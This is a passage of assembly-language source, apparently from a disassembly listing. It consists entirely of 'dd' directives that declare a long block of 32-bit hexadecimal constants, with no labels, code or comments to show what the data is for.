		dd 738F0965h, 0C78027A7h, 790D2869h, 0D5321800h, 0B9538B48h
		dd 0D06805BAh, 0FA8F3FC6h, 0E51556C0h, 0F22B001Bh, 21A4137Bh
		dd 1C00EBF5h, 927189C4h, 0B8BD0646h, 3B83002Dh,	5DFA0A57h
		dd 0CA59BA99h, 0ED480070h, 54A2591Eh, 3F0A14C6h, 468210D6h
		dd 0AC681EEEh, 0AA0E339Fh, 8E23915Ch, 479C8103h, 21861D34h
		dd 39C8F499h, 3E0E4C7Eh, 80F53F64h, 15D9130Bh, 41A800C5h
		dd 14D74455h, 63007F03h, 0BD88E5FDh, 1F29975h, 0E13CC818h
		dd 0D8C5EC3Eh, 5B004177h, 1CB1B0B9h, 1E4597Fh, 73552991h
		dd 0D63DFB76h, 54CA72C0h, 77C254A0h, 88964B37h,	0A8809DE4h
		dd 3A93B906h, 9183A8FBh, 1CF747A1h, 0C19B3102h,	0E12E37CAh
		dd 881BF3Ch, 0FB5E73F0h, 0C726C45Dh, 7F055300h,	2FE0BA01h
		dd 0E66C0071h, 0D20E11B9h, 92008834h, 0C7FA0C82h, 59F65F5h
		dd 3FE5804Ah, 792FC0B4h, 0DECD109h, 0A6150C1Dh,	960BC6C0h
		dd 1EB1BE42h, 7B8D1203h, 0A1C56E00h, 0CC430299h, 71FE8600h
		dd 26D2059Dh, 0DDD41C53h, 288700B3h, 487FEE6Eh,	9F5E3200h
		dd 0A0EBEC23h, 0C6D0516h, 8185FE54h, 0D4BF713Fh, 6900DD35h
		dd 3AE08210h, 0CB7EF1h,	20D200Bh, 0FEF35A8Ah, 0B4B29B1Dh
		dd 0AE5DA70Eh, 98DEE012h, 1E363Fh, 0F4611B8Dh, 9C7E8923h
		dd 0F4CBFECAh, 11DE8607h, 97B8A19Eh, 39E48D26h,	0EB8300F4h
		dd 0B6779D5Eh, 510730ADh, 40E735EEh, 0D05073F7h, 4CA287h
		dd 0E4CFCCC4h, 9D583A11h, 0A0381E60h, 9B60BAh, 72B482BDh
		dd 2F6F3D5Bh, 102E2100h, 894B468Fh, 91E10281h, 4495A5D4h
		dd 5F8260DFh, 0F6D1F72h, 518AC038h, 0CD21BCC3h,	812FF338h
		dd 848A143h, 23200AB5h,	0D28C00DAh, 5335F8DCh, 0A7005F45h
		dd 0DFCF2C44h, 1C19CDh,	5BC4793Fh, 0F8C852C1h, 2A00A8B8h
		dd 972BC24Ch, 0A16CBCh,	0CACC6444h, 1E01328Bh, 0B7DC1F00h
		dd 51BBE4F2h, 94EE3EA8h, 1B1A9906h, 9603513Ah, 5E700757h
		dd 4915E832h, 9FD103DCh, 316B2117h, 610DD6F8h, 75087A4Ch
		dd 89396C60h, 20BD96Ah,	2C8212C6h, 0B848F1E9h, 4D00DE96h
		dd 51ADAE72h, 581F633Ah, 7095C04h, 54050FC5h, 2894C16Ah
		dd 82DE1018h, 11B405F6h, 8397E4A1h, 0A903A69h, 0BA12C933h
		dd 41006463h, 0E1FB1695h, 0AB9E0022h, 0A0A9BBE8h, 764B0886h
		dd 49C22800h, 0EA4421h,	0CD28F8DBh, 52413730h, 0DE81E900h
		dd 6469FE20h, 84C00D2h,	7A436ED6h, 0DC7F59CDh, 94444Ch
		dd 0D4628EF5h, 0FC345Fh, 0F153910Dh, 0A8BCE5ECh, 2B65A900h
		dd 0E731A4AEh, 299C0357h, 0B7CBDF56h, 209D85EBh, 4A7548B8h
		dd 3519DB00h, 9791DCD5h, 93AD1DB4h, 5C0F41DDh, 31C2EF88h
		dd 145EE88Bh, 0F60070FCh, 6F9C25ECh, 986E9E65h,	42823F9Ch
		dd 2E4D1602h, 14E362E9h, 86BC04ADh, 0D49B47D5h,	0C5173C40h
		dd 5D94005Bh, 99827B09h, 14BA55FBh, 804DD93Ch, 14FC2381h
		dd 58A2FAh, 93418399h, 6E7CDDADh, 3ECD3A0Eh, 0AAFE3A1h
		dd 9D64C804h, 60330042h, 6BC46A57h, 2100CFEDh, 0CBC31119h
		dd 3E8D86h, 0BE403498h,	74950458h, 7598C660h, 96DD1113h
		dd 0B4BC00E4h, 2C846EF7h, 31003FF2h, 0EC072022h, 3B41E152h
		dd 0B6AE9BEFh, 0AA3A8274h, 84E87AAFh, 0B850F2F1h, 933CEFC0h
		dd 0BD007D62h, 1DE3E620h, 0E2EA7BE2h, 0AB04309Ah, 0A4ADCD41h
		dd 5057C1FDh, 6617C880h
		dd 3BA2D100h, 936BB956h, 679500CEh, 381530F9h, 0D803BB61h
		dd 0EA74A587h, 0F191F0D6h, 0BC3525DAh, 0BEC52C80h, 54078C48h
		dd 858A5ABAh, 739C9BB0h, 3BA80101h, 311B9A4Bh, 0C025D8D9h
		dd 0C717C901h, 0DC462A78h, 3B0E81D4h, 9C80DE53h, 0FB9B2E32h
		dd 8FC4324h, 0DB8EED00h, 0B291ABC5h, 0F01200C1h, 60EFAAD1h
		dd 0BB395045h, 71B09E22h, 0AEDFCC00h, 0CA87B2h,	7C095AC4h
		dd 0FC0C4EF7h, 0AF527700h, 31E4EA53h, 0EC6F861h, 4675ABB8h
		dd 21812B20h, 0A62C8C8Dh, 0C71F4313h, 0AB68D218h, 5BA10382h
		dd 0CCF0620Eh, 25A938A0h, 5033A0C1h, 7187E356h,	8CF6E068h
		dd 0B201BB39h, 3EB5C5FBh, 5AF0BDDBh, 36A500C3h,	0D3104193h
		dd 0D8182CECh, 2641A713h, 0FEEAF06Bh, 964A008Fh, 70F83BA5h
		dd 0E407A8BFh, 0C24E11A4h, 0F03727E3h, 0ECA092h, 28E2FD6Fh
		dd 0D5F98042h, 970EB100h, 0EB197E52h, 0A5A71830h, 0F7CB90D0h
		dd 12C37207h, 60E017F8h, 54678BAh, 6DF95B13h, 0E56580D1h
		dd 8E00553Bh, 20BB825Dh, 1C2FECDBh, 45437BAAh, 80F67C1Ch
		dd 0D3BDF00Ch, 14C12106h, 10A8661Bh, 3EE5AF42h,	289000CFh
		dd 68D88E34h, 0E859006Bh, 4A08C8D9h, 0D00024F4h, 0E49FD518h
		dd 6B70DFh, 6FE9E5Ch, 880A3126h, 0A268AE01h, 0B7C2B6EEh
		dd 6A384180h, 0EDAF4005h, 1FBB8000h, 0A0D67C77h, 32FC00F3h
		dd 71D78EBh, 30C76C22h,	0D71095A8h, 39BC638h, 6004011Ah
		dd 1BE80B89h, 770671C1h, 0A64A33Ah, 0CB6900B8h,	92285094h
		dd 9F0063B5h, 4F75C1FFh, 240964h, 0DE5213B3h, 9A85872Fh
		dd 1A506D00h, 0BB91B6ADh, 0A7A301D6h, 6583869h,	80D802DFh
		dd 3A782BECh, 48FEEC98h, 91011C75h, 3BDB8558h, 19FE04Eh
		dd 7065AC00h, 9518F14Fh, 22960FE4h, 0ED40D1C7h,	32626C17h
		dd 0D99C5600h, 0E8DE9B04h, 9AD500B7h, 34465CD1h, 0C800E05Bh
		dd 4486CEB4h, 3C888737h, 929F837Bh, 0F3BC027h, 6D129B6Ah
		dd 0F22FAA01h, 0BF592A47h, 0D91E0h, 48E236D7h, 4A5BA7F1h
		dd 279EC100h, 502C16BCh, 3E8700C5h, 0C79BD532h,	3A008E7Fh
		dd 637D76E8h, 24792829h, 8EBE1Dh, 0BFFC78DDh, 0C701BD22h
		dd 4502DE09h, 3BF457B5h, 347A00DFh, 6349A50Fh, 68002F3Dh
		dd 0CF1CC5DEh, 38852CD4h, 0AC3F0555h, 2E71FA03h, 36E0272Dh
		dd 0B91E6D5Bh, 0B5803B30h, 0C548E48Eh, 8CF10077h, 0DACF99BFh
		dd 0D498AA37h, 45D19F00h, 2957DD14h, 0E9B0F3h, 4C798110h
		dd 8D398448h, 128155Ch,	555885FCh, 0E72091AFh, 43615CC2h
		dd 0C59A4E00h, 496DE781h, 690012E6h, 50F59B63h,	60C66Bh
		dd 72042C1Bh, 0F286A996h, 65AE0801h, 99DBA85Fh,	0EB9E9FCh
		dd 0EC356BD7h, 0A9C47460h, 0E5730B11h, 12EE961Fh, 850F9EC0h
		dd 51C3Ch, 78B7D30Ah, 0EE31517Eh, 0C8AEF600h, 41456FB5h
		dd 0A0E7001Eh, 1A5D97D6h, 0E0000E52h, 228DD09Ah, 0EE348B55h
		dd 601560E4h, 920D12A4h, 16B02806h, 1B4C776Ah, 203DD7BDh
		dd 9876FE90h, 87B70A06h, 1299A728h, 4016AF23h, 880192E0h
		dd 0D974903Eh, 0FFCC480Fh, 0A358801Bh, 52A822h,	8FE97FEFh
		dd 76E61036h, 40E76428h, 0D8FE4500h, 0E8D69588h, 125B3053h
		dd 0A140859h, 0E0FDFB14h, 0EA53F10h, 0F4228F76h, 0F90A0040h
		dd 29963D88h, 7AB0A7h, 75A09BFBh, 0CE27BD5Fh, 841ECC00h
		dd 4A3B6CD2h, 0A9EB0078h, 374509D6h, 0CB02DB93h, 92487A0Fh
		dd 0BEDB80C7h, 47AE0Bh,	953959E4h, 0F2315EA0h, 0CC7ABD00h
		dd 55A9FE38h, 0A7DB3B66h, 71E2EC8h, 77CBC18Fh, 0F40A67DFh
		dd 0E3038A12h, 0CDE0D9A0h, 0E850C0F0h, 0D4DF0024h, 0B49A62A4h
		dd 0A17F09E9h, 67B8DA00h, 49BFFFEFh, 0B0960182h, 0FC303115h
		dd 0A6A8CC17h, 0FE3CBCA0h, 3C774Ch, 0F31A2666h,	7F13BFB9h
		dd 0DA75003Dh, 28244E99h, 0A1009097h, 734D57F2h, 9EC8C2h
		dd 701D1202h, 4C50EF9Ch, 0F2E45C00h, 2895464Ah,	892F07BEh
		dd 0A1E591D6h, 0DC96C31Ah, 17009D31h, 5F7EE969h, 928BA4BAh
		dd 3D7500A0h, 4DFC8319h, 20049AF5h, 0E63516A3h,	8436A8C0h
		dd 0BDB31E70h, 1A2840C8h, 310FF548h, 62147C13h,	5F27AE00h
		dd 1ED06A1Fh, 16EE305h,	0F9081E78h, 69C8300Bh, 3A79B800h
		dd 0A1469A51h, 6C5B09A3h, 0FC809ECEh, 75171A61h, 0FB00CA75h
		dd 105954EBh, 0F8D1BC6Bh, 819400E0h, 0D5C0AC83h, 0D81204CFh
		dd 0C500A09Ah, 7CBC1F4Fh, 0D148C09Fh, 96FA3BB9h, 0F747C204h
		dd 0F0D09779h, 182CBEh,	832F059Bh, 0CAD5867Eh, 6D73700Eh
		dd 3DA9A389h, 0A3B89855h, 40162D34h, 0F2066370h, 0E4B7D914h
		dd 12C01050h, 2C017A0Bh, 87EA821Ah, 0FB3057C9h,	2501009Ch
		dd 3307FC6Bh, 0F900A5D2h, 9480CC8Ch, 3934EF5Dh,	20CB251h
		dd 6FB0E341h, 0DE18C800h, 0EBA0CFB3h, 0F4317EACh, 2A552ECDh
		dd 28E7183Dh, 0FE014D14h, 0F21DBC1h, 0C083095Dh, 6FD961D1h
		dd 85B8BEB8h, 0AD9BF600h, 3E23511h, 94CA0005h, 0D5ACABF2h
		dd 0CD00641Fh, 0F2CDEC1h, 2FF508A0h, 99804191h,	0E20DFACh
		dd 598E7B00h, 0C51F5DAAh, 24FE0FA6h, 0C9E05C01h, 0EF65D7A7h
		dd 25DDF50Ch, 0B3989Dh,	5239AE8Bh, 14A34855h, 0FA94BA50h
		dd 60333844h, 9722702Dh, 6D0067B5h, 22B57F1h, 468C5Ch
		dd 7AFA48CDh, 4261AC68h, 0DF76FD00h, 8126FEECh,	0C04D0012h
		dd 85C631A2h, 881CED37h, 0FFC0AF75h, 928F58EFh,	0B1171D7Dh
		dd 6812CA51h, 0C05B80D0h, 0AEFBE040h, 330020BAh, 2B477483h
		dd 4E8434h, 182D6A81h, 0FF5DB3C6h, 1ED2300h, 0EA80AFBBh
		dd 0C17BBFh, 0E26AD14h,	6ACFA1DFh, 0C8BEEF17h, 70188C1Dh
		dd 5C3859h, 1AD32B85h, 7AA71A5h, 0A700649Ah, 109FD813h
		dd 0F1D5586h, 816EBF02h, 0CE96FEC3h, 0CADFF4D0h, 0F93F49C7h
		dd 80FF2EA2h, 0F37AC2ACh, 2B78005Dh, 5FA2F052h,	0B800CBC0h
		dd 0FD31B421h, 0BAF15Eh, 0DB240582h, 89183A70h,	4C4BEA17h
		dd 1601E0FCh, 38F98525h, 0D740704Ah, 662440h, 0CA2FD142h
		dd 4917EEC9h, 0D31E6894h, 1AE6FA80h, 92B8685h, 1D23E1C7h
		dd 0A0A25884h, 5E0026BCh, 0AD357C95h, 1C874FEh,	2171D256h
		dd 0DCC5E743h, 2300C2B4h, 553B4612h, 39616BD3h,	40E051F2h
		dd 2852B7C0h, 9D00CCB2h, 14E00F73h, 7118CC9h, 0ADE8F547h
		dd 0D3EBA030h, 401F2674h, 0E7815DE9h, 133A8B5Eh, 5F4EF040h
		dd 0D46E2565h, 1C631C00h, 0EF3B353Fh, 0C12B8013h, 0A4682719h
		dd 0E9CB007Fh, 56CE9316h, 1F1E4EF6h, 6FC08DD5h,	3B18E52h
		dd 0B9EF0289h, 0D45AC539h, 3198EE63h, 2A4E9461h, 1900B4ACh
		dd 7C84BD98h, 22501D81h, 0D8918E98h, 72879D06h,	0DA60F541h
		dd 0ADF6007Bh, 6555CBCAh, 500ED10h, 46F8DB0Dh, 5D86098h
		dd 49C9F9FAh, 0C88C0092h, 0DDFB9A7Fh, 80534F39h, 0A730E4C2h
		dd 2C76195Dh, 18820E92h, 4D287865h, 2F8C0700h, 638E9E02h
		dd 0DA712601h, 99E68074h, 47B71DE1h, 0D0E9844h,	7546FDC3h
		dd 0FC63E911h, 2300B84Bh, 28E3F54Fh, 127B3B70h,	80871207h
		dd 600A6DD0h, 80E9D725h, 465C6E40h, 0BE293E33h,	0B6EEB805h
		dd 0BB028010h, 670051C8h, 0DC5F05E8h, 13BC398h,	7A2F95DEh
		dd 0C4285EF6h, 470E54AEh, 0AE997402h, 0B2D6C024h, 5050672h
		dd 0C4D120A4h, 5265805Ah, 0B5148C96h, 0C4CCCAh,	280F4A3Dh
		dd 6E8B7Ah, 0F9B7D6A1h,	2783F779h, 0CED17200h, 0E5B81382h
		dd 76D90EE4h, 91E0BC17h, 42572358h, 20D3301h, 85B2CF84h
		dd 1CB44820h, 40F588F7h
		dd 281A298Ah, 1C1E9E5Bh, 0CF0797BBh, 5A80CDD2h,	39B2D0Eh
		dd 0F5A51B71h, 0D09F4EF7h, 319A9C23h, 0B193C100h, 2A0F36A3h
		dd 0B0C61603h, 17EC078Bh, 0E9928057h, 552C80Ch,	908C4094h
		dd 967E2E0Bh, 2F2E006Ch, 75F264Bh, 0CEE0E5A0h, 8E5566E2h
		dd 0F1358A00h, 6BF51778h, 0EEF7B9Fh, 0CBCC1BD3h, 5E314DA0h
		dd 0B100FC76h, 12738F16h, 0C18DC3h, 0E5D72E7Bh,	9BBE0368h
		dd 0DE6ED800h, 410A2937h, 49A3001Eh, 735F575Dh,	0EF09D7E0h
		dd 800ECB4Bh, 0A8ADB570h, 0E54D008Dh, 6EA1886Fh, 18B83061h
		dd 0B189AA00h, 0DEB04B63h, 5B9F00E0h, 2870FB7Ah, 0C31FF735h
		dd 0E8B0D299h, 0B1727DAh, 0D90EEC2Dh, 8A50389h,	6278C0BEh
		dd 0A504970Ah, 13119F05h, 58BC88A2h, 64358B08h,	1D9440E8h
		dd 0FE0079E9h, 0F680F476h, 188D165h, 0C25CB83Eh, 20E8C792h
		dd 661E0B70h, 0E15815AAh, 0E8019020h, 9CF90F2Ah, 181811A3h
		dd 0E600B344h, 8F71625Dh, 38815B52h, 5000DB07h,	0BBD9E264h
		dd 0F3006C16h, 0A4228BD0h, 712C363h, 39189013h,	5198062Ah
		dd 9588090Eh, 3AA88016h, 5BAB5CBBh, 0ED51B18Ah,	0C0AC2877h
		dd 52097E8Ch, 50287C8Bh, 50920CE1h, 6A60C8h, 32AEF597h
		dd 66ABF677h, 1D3040C0h, 99B73h, 4A5F45E8h, 97CA9AE4h
		dd 2A9C1900h, 0B1DB74DAh, 0A6D713BBh, 0C37E0014h, 29A0765Ah
		dd 547175Ch, 0BCAE251Fh, 6001EE80h, 30330064h, 0C53A9C1h
		dd 0E9E488F2h, 0B22EA500h, 498EC79Fh, 78B900F7h, 3EF4BA40h
		dd 39789408h, 5ADB200h,	2421F07Fh, 3DC90E8Dh, 1DE06A4Bh
		dd 6B4D31EAh, 31A83B2Ch, 0CF5CD100h, 25FD672h, 94C89BAFh
		dd 0E7C03309h, 0FE00AE0Ch, 0F09837A4h, 6C675Ah,	65103BF9h
		dd 0AD999664h, 0AC8FA90Bh, 0BC8257Ah, 5E0438h, 14FE37E3h
		dd 0E7CB5F28h, 0F17913Eh, 948BB8h, 150D6A13h, 0FB3800E5h
		dd 0D21096BAh, 0A860FFE2h, 0E7265C40h, 0A6DE2C70h, 0F9CE000Bh
		dd 0D832150Eh, 66C33C1Fh, 206FC24Dh, 14DA0C60h,	20E34554h
		dd 18F4DBE1h, 4093EE5Ch, 0CB078A6Ah, 150C9567h,	0FDC91150h
		dd 300A7A24h, 0FEB8DDF7h, 1000625Fh, 6895EB7Eh,	0B9A663Ah
		dd 1D697A11h, 0A82390A0h, 6A0E85EFh, 2B5EB73Bh,	2B2020EEh
		dd 54AB9B0Bh, 4F19014h,	8B3D26ACh, 925481A6h, 6089856h
		dd 5C45721h, 2FE7D126h,	1CA840DFh, 1BD68369h, 0F7AC3000h
		dd 0A0D28E8h, 0C5DFE8E2h, 4B14A969h, 3B0082C0h,	0ABB89F96h
		dd 1F591860h, 8C7BF7h, 3EFA1CD4h, 0DACB498Dh, 69CEF1Fh
		dd 88146A8Ah, 3CCAE302h, 4E8A38Bh, 49FE98EFh, 36680760h
		dd 40AC65F5h, 1B8837E9h, 63008AEEh, 0C642629Ch,	3044A4BFh
		dd 5B9E633h, 0AD01D541h, 16F63F5Ch, 8986764h, 58A621CEh
		dd 2E3AD500h, 0BCEA7A10h, 0FE0D05CAh, 1053657h,	5396E6B8h
		dd 52C443FDh, 1436023h,	5CC0D53Ah, 88CC1857h, 0D50051A7h
		dd 0E9056A92h, 180A3A33h, 50DA975Fh, 0DC028FB3h, 5194C9BAh
		dd 0AC72AAh, 7A8DA9A1h,	0A8055985h, 3A7CC4FAh, 0DDC55801h
		dd 0A36B7964h, 43439052h, 0F5A7D028h, 9F150138h, 0A44DE4FDh
		dd 8CD6F166h, 91DD3068h, 1200057h, 0AC21A74Eh, 26005FC8h
		dd 0A6E38BFAh, 635CA10h, 6679C1A4h, 97E461A5h, 48DC4F32h
		dd 85461B5h, 28265B60h,	9D813BBh, 8EDFFBEAh, 87F46004h
		dd 0D7182CB3h, 6BA89312h, 0CB0B414h, 0F9E70F87h, 94630E6Ah
		dd 92C05ED1h, 0EC210966h, 0AA28003h, 38CC8B87h,	0D8837A28h
		dd 9897E3A0h, 0FD736000h, 0BC04556h, 0E4FB308Fh, 7B67FC28h
		dd 0EB7D1F1Fh, 0D8E37F06h, 150A0118h, 3DB81229h, 84D183A8h
		dd 0F08BD63Bh, 32E9764Eh, 81085623h, 4363A448h,	17C6D600h
		dd 1A36B5A7h, 0E8BD48DCh, 0F128310h, 560458Ch, 9C454CCCh
		dd 0B046DB94h, 69923Ch,	46097B82h, 0BB5AE478h, 3E17B700h
		dd 0BD2CCE87h, 8AFA05C0h, 0E807093h, 39D83D90h,	0C40B6F69h
		dd 8010DE91h, 0D38A469Ah, 54A70A9Ah, 8A450F6h, 0AD00F467h
		dd 0A2C84BFh, 5F161832h, 4FE6A06Dh, 4553A401h, 79267D2h
		dd 18486421h, 83963ACDh, 98104069h, 0AA285890h,	0AB30A0F3h
		dd 0D7DE190Eh, 3D2E019Bh, 5E1236E7h, 57E0208Bh,	9670950Ch
		dd 15A430F8h, 80C69710h, 8C479050h, 0ACD53E04h,	0CD62375Ch
		dd 0D556AB20h, 7B61F93h, 380E685h, 8667FDA9h, 4604B8FEh
		dd 9C9458Dh, 0FC40D4E5h, 65387313h, 42E34EFEh, 0FC4B87FCh
		dd 1144880Fh, 0D6819DC6h, 773E0A8Dh, 0BCA4980Ch, 42D64500h
		dd 70962CF5h, 7E0931D2h, 85C794E1h, 1622E249h, 0B1CD4402h
		dd 64744CE8h, 60BB789Bh, 688CD63Ah, 983C700Ah, 4264D180h
		dd 2500D674h, 78EC9EFEh, 31115EDBh, 0BC690FAAh,	0C2CFD017h
		dd 0C416FC0Fh, 83678B9Fh, 0EFE28C66h, 0DAC0B297h, 1DC59A0Ch
		dd 8B415C46h, 44809342h, 0EEE02890h, 0C4122A14h, 0D63F804Ch
		dd 0AC2E0A8Fh, 997C6088h, 3FD64767h, 4C8ABA03h,	1ACECh
		dd 52D46991h, 0CA87A788h, 1E5B671Ch, 42C5E780h,	128AC7EEh
		dd 98B03EBh, 44B08FD8h,	6E28785Eh, 0F07D8FCh, 8EB08297h
		dd 0F90623C3h, 60207B7Fh, 3D3A26A0h, 97714040h,	1702DD7Ch
		dd 6677FD55h, 3ECC8003h, 1293BA82h, 40B94253h, 0F6F4791Ch
		dd 8D09C06Fh, 277EAA13h, 54302770h, 9DAD321h, 2BFBEFAh
		dd 709D875Dh, 90511786h, 0A6A73028h, 41D55EB8h,	4D6FB50Fh
		dd 88E1A068h, 92EAFE11h, 355C765Ch, 80B07FD2h, 408C51D8h
		dd 0A8BF7613h, 0AB3AA405h, 6011E8C8h, 0B941087Bh, 0D9FC59C5h
		dd 0E843D126h, 83637301h, 0E0EFAFCFh, 1DCC5BBh,	46060D3Eh
		dd 80D53045h, 2A61B071h, 0FC91EAh, 36984122h, 0AC20B544h
		dd 8D574F0Eh, 0E4565642h, 10337C03h, 3C085212h,	0C2A31101h
		dd 0FA0F165Eh, 4FE3B4A1h, 24F0A896h, 708FA305h,	8800123Eh
		dd 7CCC1A5h, 7D040AAAh,	80C8943Dh, 76FF1BF1h, 6473E392h
		dd 0E6734700h, 79F2E9B4h, 0A3DD01E2h, 7EDE5EACh, 2CC4CE83h
		dd 4F20A813h, 0C0461008h, 5CABD53Fh, 0DA222F46h, 0F8E6A840h
		dd 0B46B3A9Ah, 0F489B100h, 15520A63h, 90E23A01h, 0CAC25E5Ch
		dd 841AE0h, 1CBB2345h, 0E42CC765h, 0BE18C97Ah, 0DE30CB4Ah
		dd 51DC3D4Ch, 77374B01h, 8987635Dh, 40C948h, 0A2C3393Ch
		dd 6EFE1D20h, 0CAF080ECh, 67D10ADCh, 0EE69141Dh, 0EAE500FFh
		dd 0C8E219B1h, 404060A0h, 9754B315h, 0E4338103h, 888B9E44h
		dd 0C141FBCh, 3B3DFCE2h, 7F005A29h, 7DB1B88Dh, 66B921AEh
		dd 212508A5h, 8D96FB00h, 0E195C3B3h, 1A6AEE0Dh,	0E0524090h
		dd 0A1037980h, 0BE00A0D7h, 68365C43h, 6792C2CAh, 633A40E6h
		dd 4888E0F3h, 3E198106h, 0BF080E61h, 0A13A9440h, 8FEFBh
		dd 0A837914h, 919A3031h, 5C41D061h, 0FACC4EB8h,	6ACF0002h
		dd 0EFC79F29h, 0E1031CB0h, 9E4577C9h, 20E13D8Fh, 0B180ADBCh
		dd 3ABBC28Ah, 50F76291h, 26E175ACh, 0F69AF301h,	0FE92CEC5h
		dd 218B0898h, 2674E952h, 7938F570h, 4E90818Dh, 0CF39763Fh
		dd 187FA0C4h, 311D63A9h, 0FE023DFAh, 0A74850DEh, 0AC9A40B0h
		dd 18A41CEDh, 0B12581D3h, 457ACF34h, 3E1000C4h,	3ABCE384h
		dd 18D094A1h, 0E2E008F5h, 0BBC4F648h, 0E0FDA740h, 2F0265C7h
		dd 0FB1CB1B7h, 97F09112h, 11488110h, 4CB18905h,	100974DBh
		dd 91001F93h, 0CA6D802Fh, 7B9AB2ABh, 12E37CFFh,	40CCE9ECh
		dd 7BCBA97Ch, 0A4B84377h, 614AE619h, 2180B508h,	957BC30Bh
		dd 827F484Eh, 707E8007h
		dd 202F44EEh, 0E21FC4D4h, 31CF60E8h, 79E0C78Bh,	0E8443431h
		dd 460080EBh, 0C4E82906h, 0C0FBC9C8h, 0B1CB8D78h, 23229546h
		dd 8D8FFC07h, 6971ABACh, 47D43235h, 213F603Ah, 9E0D370Eh
		dd 5F4E701Fh, 18192A18h, 730F149h, 0CAFE3E74h, 0D257FF00h
		dd 8588CB7Bh, 0BF17859Ah, 820050C4h, 6A261C49h,	0F3D52CFFh
		dd 0AD2439CCh, 807B1144h, 9AF926E7h, 0C0C64206h, 0B26EF5Ch
		dd 0B99E00ECh, 0E08E8FC4h, 3D400E36h, 0EA5CB814h, 0DE400188h
		dd 64A508E9h, 491083BFh, 17316647h, 8012B228h, 48D2A0E4h
		dd 8611367h, 81CE6090h,	83520107h, 9F34B38Ah, 0FCB4401Dh
		dd 0E149BB84h, 5978054Ch, 0D458A4EEh, 808F4F28h, 0C4A14558h
		dd 657A18F9h, 62A5F88Dh, 0FA202EC4h, 15808D91h,	0F81213B3h
		dd 0AD70147Ch, 4009A96Ch, 948289CFh, 0E20FCA8Ah, 823CEA16h
		dd 0AA2BC7Ch, 2463DA0h,	48E7E0F8h, 1C3467DEh, 5EE000A4h
		dd 0E2AB08D4h, 0F2029B75h, 8475EFB8h, 0EBAE027h, 0E8E56049h
		dd 1B8F5487h, 0FD06E083h, 80C550AAh, 4915F221h,	0B48080EFh
		dd 9943827Bh, 10B3448Ch, 3F7BCC00h, 3B53287Ch, 6D37E27h
		dd 0D90E9B14h, 5B0C58AFh, 70900B55h, 0C4D6244Ch, 753A8074h
		dd 10C5A0C3h, 80F8A369h, 96EA8A6Dh, 0C1D50C45h,	4968CEACh
		dd 2C0A4F14h, 0A5060094h, 40861D60h, 0B87C01E3h, 421766E2h
		dd 7820A851h, 0D0FABB0Ah, 0BF7020C2h, 0B0088C1Ah, 35E7A3Fh
		dd 0C6A8AD08h, 8A4F9012h, 0C0907008h, 9AF426E4h, 91C5EE21h
		dd 0EC53028Eh, 40C86D26h, 801C4328h, 0B406D544h, 2CCDF54Ch
		dd 3CEE1410h, 684890A8h, 188C0711h, 7F19F50Eh, 12B32064h
		dd 60CDF934h, 30EB5082h, 7E117BB8h, 0B488B943h,	7BD00C81h
		dd 0F5E4FF85h, 0B86E7ED4h, 1F4435D2h, 60B004B1h, 4F0B01A8h
		dd 41062A1Ah, 0B93AEC98h, 18D841E5h, 1BC47C5Eh,	28384A1Eh
		dd 0A844BAD2h, 0DE3EE30Dh, 9C0E1833h, 2FC08F88h, 945047h
		dd 0C7392F0h, 0CF91B7B6h, 2E7F61C0h, 0F304CF1h,	0A2A38C4Ah
		dd 7A6D409Eh, 0BC881498h, 4BB5651Ch, 9C156BCAh,	0B10EC207h
		dd 1912A83Ah, 0AD14AC01h, 0F0489BFCh, 0B58E0028h, 0ED39D066h
		dd 0F6000369h, 348FEC21h, 34A13C6h, 5C7F1B91h, 4E80CD2Ah
		dd 0C8009681h, 0FE1C3F6Bh, 2D68F5h, 93C7A358h, 21326CCDh
		dd 631FF800h, 0AC9FB8A1h, 0FD7658E0h, 0E7101Ch,	5D09E47h
		dd 7B00E1AFh, 0F5A832C5h, 70078Bh, 5C7E2186h, 66CFB740h
		dd 0FE0EB38h, 618F1768h, 9546514Fh, 6EC7D8h, 0AFFD2334h
		dd 9C8EAADAh, 0D798DF00h, 99032EC4h, 0C31D3176h, 0E43E5B50h
		dd 0E600A49Ch, 0A809AC19h, 0F7CD90h, 0E2DCDB77h, 5BEA979h
		dd 0C351F40Ah, 0ED00E56Ch, 0E6AC215Ch, 25720014h, 4A151894h
		dd 91008B50h, 2FEDDCC2h, 210A2Bh, 3DE21B09h, 0D354DB45h
		dd 802AE00h, 2928340Ch,	0D9062582h, 1512195Ch, 0A6725D00h
		dd 6D22B4Ah, 8DD8850Dh,	0E40F1916h, 4063A46Ch, 7F9BDE7h
		dd 0F88F0086h, 2C2C128h, 7E009F3Bh, 44BA75F3h, 0FE74204Fh
		dd 0CCFB50C9h, 74575DBh, 0A0482138h, 583B209Eh,	93008B6Dh
		dd 0E9ED310Ch, 3458E46h, 56818A34h, 2CA03C0Bh, 0D30EB7FCh
		dd 1BA1771Fh, 37D2F082h, 459B1C55h, 35544780h, 9744104Fh
		dd 1C006270h, 0D9007D7h, 0BF4C5Ah, 0E6B2FFF8h, 80347881h
		dd 0E5D77200h, 0AEA26038h, 0EA3700CBh, 61C94EBCh, 2B003A1Bh
		dd 0B8A65051h, 234B5Fh,	2ECDE729h, 190C16AAh, 0C986B700h
		dd 0C7E872C4h, 0B53E308Fh, 5BB63C71h, 0F2D89E03h, 79A537Ch
		dd 8A77EF19h, 0A7601F31h, 29F6FBCEh, 0E1393500h, 0DE04C9B5h
		dd 0A2D90292h, 4A46F72Eh, 313623C0h, 8FA9F404h,	0F2ACCC73h
		dd 33242C00h, 25A7723Fh, 46C62E02h, 0E0BC3BE4h,	3E4B2Eh
		dd 42B98EF5h, 0A15140A2h, 0FA00CFFCh, 8B9F639Dh, 18C16D2Fh
		dd 0C372DE1h, 0B73CEF47h, 0FC4680B4h, 0C8C61286h, 457B4C7Dh
		dd 0B1A1EB00h, 451501A6h, 49CEE07h, 9D102840h, 2DB95Dh
		dd 0B2F82532h, 2EA9AB99h, 0DB2FA000h, 0E4FBD0F9h, 0C26B00A5h
		dd 0D96DB04Dh, 9000B173h, 0F3C38C83h, 0F179586h, 51377B33h
		dd 5A1CBDC1h, 151824D3h, 5E26D9C0h, 3FA870h, 586DF6BEh
		dd 10B49B77h, 981F1100h, 4E5C2601h, 2DC0F35h, 0B0C13FC2h
		dd 0F49CB385h, 3D07EE66h, 0E2B57F0h, 0C840EF45h, 5812556Fh
		dd 0CBBE00F8h, 2E4571E1h, 1600BDCAh, 7B31235Fh,	246E8F53h
		dd 6808E3h, 41844FFFh, 8E392C14h, 0C8F9AA73h, 960053F6h
		dd 0F8B80CFEh, 0F2022EEh, 0F09E488Bh, 0ADF22FA1h, 54E340D7h
